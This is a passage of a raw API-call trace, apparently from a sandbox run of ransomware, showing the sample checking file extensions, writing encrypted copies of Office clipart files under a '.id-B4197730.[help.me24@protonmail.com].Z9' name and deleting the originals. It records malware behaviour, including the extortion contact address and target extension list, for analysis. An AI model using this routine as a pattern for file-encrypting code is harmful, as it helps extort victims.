	[0185.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68
	[0185.635] lstrlenW (lpString=".doc") returned 4
	[0185.635] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0185.635] lstrlenW (lpString=".docx") returned 5
	[0185.635] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0185.635] lstrlenW (lpString=".pdf") returned 4
	[0185.635] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0185.635] lstrlenW (lpString=".xls") returned 4
	[0185.635] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0185.635] lstrlenW (lpString=".xlsx") returned 5
	[0185.635] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0185.635] lstrlenW (lpString=".ppt") returned 4
	[0185.635] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0185.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68
	[0185.636] lstrlenW (lpString=".zip") returned 4
	[0185.636] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0185.636] lstrlenW (lpString=".rar") returned 4
	[0185.636] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0185.636] lstrlenW (lpString=".bz2") returned 4
	[0185.636] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0185.636] lstrlenW (lpString=".7z") returned 3
	[0185.636] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0185.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68
	[0185.636] lstrlenW (lpString=".dbf") returned 4
	[0185.636] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0185.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68
	[0185.636] lstrlenW (lpString=".1cd") returned 4
	[0185.636] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0185.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68
	[0185.636] lstrlenW (lpString=".jpg") returned 4
	[0185.636] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0185.636] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0185.636] lstrlenW (lpString="J0152890.WMF") returned 12
	[0185.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152890.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0185.638] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=1940) returned 1
	[0185.638] CloseHandle (hObject=0x55c) returned 1
	[0185.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152890.wmf")) returned 0x220
	[0185.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152890.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0185.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152890.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0185.638] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.639] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152890.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0185.640] GetLastError () returned 0x0
	[0185.640] ReadFile (in: hFile=0x55c, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x794, lpOverlapped=0x0) returned 1
	[0185.642] WriteFile (in: hFile=0x460, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0x7a0, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0x7a0, lpOverlapped=0x0) returned 1
	[0185.643] ReadFile (in: hFile=0x55c, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0185.643] WriteFile (in: hFile=0x460, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0185.643] SetEndOfFile (hFile=0x460) returned 1
	[0185.644] CloseHandle (hObject=0x460) returned 1
	[0185.644] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.644] SetEndOfFile (hFile=0x55c) returned 1
	[0185.647] CloseHandle (hObject=0x55c) returned 1
	[0185.647] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0185.648] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152890.wmf")) returned 1
	[0185.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68
	[0185.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68
	[0185.649] lstrlenW (lpString=".doc") returned 4
	[0185.649] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0185.649] lstrlenW (lpString=".docx") returned 5
	[0185.649] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0185.649] lstrlenW (lpString=".pdf") returned 4
	[0185.649] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0185.649] lstrlenW (lpString=".xls") returned 4
	[0185.649] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0185.650] lstrlenW (lpString=".xlsx") returned 5
	[0185.650] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0185.650] lstrlenW (lpString=".ppt") returned 4
	[0185.650] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0185.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68
	[0185.650] lstrlenW (lpString=".zip") returned 4
	[0185.650] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0185.650] lstrlenW (lpString=".rar") returned 4
	[0185.650] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0185.650] lstrlenW (lpString=".bz2") returned 4
	[0185.650] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0185.650] lstrlenW (lpString=".7z") returned 3
	[0185.650] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0185.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68
	[0185.650] lstrlenW (lpString=".dbf") returned 4
	[0185.650] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0185.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68
	[0185.650] lstrlenW (lpString=".1cd") returned 4
	[0185.650] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0185.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68
	[0185.650] lstrlenW (lpString=".jpg") returned 4
	[0185.650] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0185.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68
	[0185.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68
	[0185.650] lstrlenW (lpString=".doc") returned 4
	[0185.650] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0185.650] lstrlenW (lpString=".docx") returned 5
	[0185.650] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0185.650] lstrlenW (lpString=".pdf") returned 4
	[0185.651] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0185.651] lstrlenW (lpString=".xls") returned 4
	[0185.651] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0185.651] lstrlenW (lpString=".xlsx") returned 5
	[0185.651] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0185.651] lstrlenW (lpString=".ppt") returned 4
	[0185.651] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0185.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68
	[0185.651] lstrlenW (lpString=".zip") returned 4
	[0185.651] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0185.651] lstrlenW (lpString=".rar") returned 4
	[0185.651] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0185.651] lstrlenW (lpString=".bz2") returned 4
	[0185.651] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0185.651] lstrlenW (lpString=".7z") returned 3
	[0185.651] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0185.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68
	[0185.651] lstrlenW (lpString=".dbf") returned 4
	[0185.651] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0185.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68
	[0185.651] lstrlenW (lpString=".1cd") returned 4
	[0185.651] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0185.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68
	[0185.651] lstrlenW (lpString=".jpg") returned 4
	[0185.651] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0185.652] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0185.652] lstrlenW (lpString="J0152892.WMF") returned 12
	[0185.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152892.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0185.653] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=10668) returned 1
	[0185.654] CloseHandle (hObject=0x55c) returned 1
	[0185.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152892.wmf")) returned 0x220
	[0185.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152892.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0185.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152892.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0185.654] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.654] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152892.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0185.655] GetLastError () returned 0x0
	[0185.656] ReadFile (in: hFile=0x55c, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x29ac, lpOverlapped=0x0) returned 1
	[0185.658] WriteFile (in: hFile=0x460, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0x29b0, lpOverlapped=0x0) returned 1
	[0185.659] ReadFile (in: hFile=0x55c, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0185.659] WriteFile (in: hFile=0x460, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0185.659] SetEndOfFile (hFile=0x460) returned 1
	[0185.659] CloseHandle (hObject=0x460) returned 1
	[0185.660] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.660] SetEndOfFile (hFile=0x55c) returned 1
	[0185.664] CloseHandle (hObject=0x55c) returned 1
	[0185.664] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0186.087] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152892.wmf")) returned 1
	[0186.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68
	[0186.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68
	[0186.088] lstrlenW (lpString=".doc") returned 4
	[0186.088] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0186.088] lstrlenW (lpString=".docx") returned 5
	[0186.088] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0186.088] lstrlenW (lpString=".pdf") returned 4
	[0186.088] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0186.088] lstrlenW (lpString=".xls") returned 4
	[0186.088] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0186.088] lstrlenW (lpString=".xlsx") returned 5
	[0186.088] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0186.088] lstrlenW (lpString=".ppt") returned 4
	[0186.088] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0186.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68
	[0186.088] lstrlenW (lpString=".zip") returned 4
	[0186.088] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0186.089] lstrlenW (lpString=".rar") returned 4
	[0186.089] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0186.089] lstrlenW (lpString=".bz2") returned 4
	[0186.089] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0186.089] lstrlenW (lpString=".7z") returned 3
	[0186.089] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0186.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68
	[0186.089] lstrlenW (lpString=".dbf") returned 4
	[0186.089] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0186.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68
	[0186.089] lstrlenW (lpString=".1cd") returned 4
	[0186.089] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0186.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68
	[0186.089] lstrlenW (lpString=".jpg") returned 4
	[0186.089] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0186.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68
	[0186.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68
	[0186.089] lstrlenW (lpString=".doc") returned 4
	[0186.089] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0186.089] lstrlenW (lpString=".docx") returned 5
	[0186.089] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0186.089] lstrlenW (lpString=".pdf") returned 4
	[0186.089] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0186.089] lstrlenW (lpString=".xls") returned 4
	[0186.089] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0186.089] lstrlenW (lpString=".xlsx") returned 5
	[0186.089] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0186.089] lstrlenW (lpString=".ppt") returned 4
	[0186.090] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0186.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68
	[0186.090] lstrlenW (lpString=".zip") returned 4
	[0186.090] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0186.090] lstrlenW (lpString=".rar") returned 4
	[0186.090] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0186.090] lstrlenW (lpString=".bz2") returned 4
	[0186.090] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0186.090] lstrlenW (lpString=".7z") returned 3
	[0186.090] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0186.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68
	[0186.090] lstrlenW (lpString=".dbf") returned 4
	[0186.090] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0186.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68
	[0186.090] lstrlenW (lpString=".1cd") returned 4
	[0186.090] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0186.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68
	[0186.090] lstrlenW (lpString=".jpg") returned 4
	[0186.090] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0186.090] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0186.090] lstrlenW (lpString="J0153091.WMF") returned 12
	[0186.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153091.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414
	[0186.091] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=8136) returned 1
	[0186.091] CloseHandle (hObject=0x414) returned 1
	[0186.092] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153091.wmf")) returned 0x220
	[0186.092] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153091.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0186.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153091.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414
	[0186.092] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.092] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153091.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x424
	[0186.093] GetLastError () returned 0x0
	[0186.093] ReadFile (in: hFile=0x414, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x1fc8, lpOverlapped=0x0) returned 1
	[0186.095] WriteFile (in: hFile=0x424, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0x1fd0, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0x1fd0, lpOverlapped=0x0) returned 1
	[0186.097] ReadFile (in: hFile=0x414, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0186.097] WriteFile (in: hFile=0x424, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0186.098] SetEndOfFile (hFile=0x424) returned 1
	[0186.098] CloseHandle (hObject=0x424) returned 1
	[0186.098] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.098] SetEndOfFile (hFile=0x414) returned 1
	[0186.101] CloseHandle (hObject=0x414) returned 1
	[0186.101] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0186.102] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153091.wmf")) returned 1
	[0186.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF") returned 68
	[0186.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF") returned 68
	[0186.103] lstrlenW (lpString=".doc") returned 4
	[0186.103] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0186.103] lstrlenW (lpString=".docx") returned 5
	[0186.103] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0186.103] lstrlenW (lpString=".pdf") returned 4
	[0186.103] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0186.103] lstrlenW (lpString=".xls") returned 4
	[0186.103] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0186.103] lstrlenW (lpString=".xlsx") returned 5
	[0186.103] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0186.103] lstrlenW (lpString=".ppt") returned 4
	[0186.103] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0186.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF") returned 68
	[0186.103] lstrlenW (lpString=".zip") returned 4
	[0186.103] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0186.104] lstrlenW (lpString=".rar") returned 4
	[0186.104] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0186.104] lstrlenW (lpString=".bz2") returned 4
	[0186.104] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0186.104] lstrlenW (lpString=".7z") returned 3
	[0186.104] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0186.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF") returned 68
	[0186.104] lstrlenW (lpString=".dbf") returned 4
	[0186.104] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0186.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF") returned 68
	[0186.104] lstrlenW (lpString=".1cd") returned 4
	[0186.104] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0186.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF") returned 68
	[0186.104] lstrlenW (lpString=".jpg") returned 4
	[0186.104] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0186.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF") returned 68
	[0186.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF") returned 68
